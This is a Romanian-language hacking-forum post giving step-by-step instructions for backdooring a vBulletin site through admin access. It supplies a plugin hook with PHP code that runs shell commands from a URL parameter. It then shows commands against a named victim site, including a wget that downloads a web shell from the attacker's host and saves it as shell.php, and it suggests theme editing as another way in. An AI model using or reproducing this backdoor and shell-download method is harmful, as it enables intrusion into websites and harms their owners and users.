HACKSFORUM
Cel mai tare forum romanesc de hacking , gamming , programare si tot ce tine de PC :D!
|
Nou pe simpatie: ramona23 la Simpatie.ro
 | Femeie 24 ani Bucuresti cauta Barbat 24 - 52 ani |
|
|
HACKSFORUMReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
|
| #1 |
EmyyyAdministrator
Postari: 45
|
|
In primul rand, trebuie sa aveti access la contul unui admin.
Intri in: Plugins & Products option. Daca ai acces Dupa ce ai intrat in Plugins & Products option, dai click pe: Add new Plugin. Click it. La product lasati "vbulletin". La 'hook location' selectati: "ajax_complete" Setati 'Title': Default sau vBulletin bagati codul:
Code:
if(isset($_GET['lol'])){echo "<h1>lol</h1><pre>"; system($_GET['lol']);exit;} |
Iar de aici totul e simplu.
Sa zicem ca avem site-ul victima: panarame.com Apoi executam comenzile:
Code:
panarame.com/ajax.php?lol=ls -la |
Code:
panarame.com/ajax.php?lol=wget http://site-ul-tau.cu-shell.ro/shell.txt -o shell.php |
Descarca shell si il saveaza ca shell.php
Apoi intri lejer pe panarame.com/shell.php si ai access shell.
Daca nu aveti access la modificatrea pluginurilor, se poate baga shell si din editarea temei (). Aceasta metoda cu editarea temei este valabila pentru orice script.. nu numai pentru vBulletin
|
|
| |
|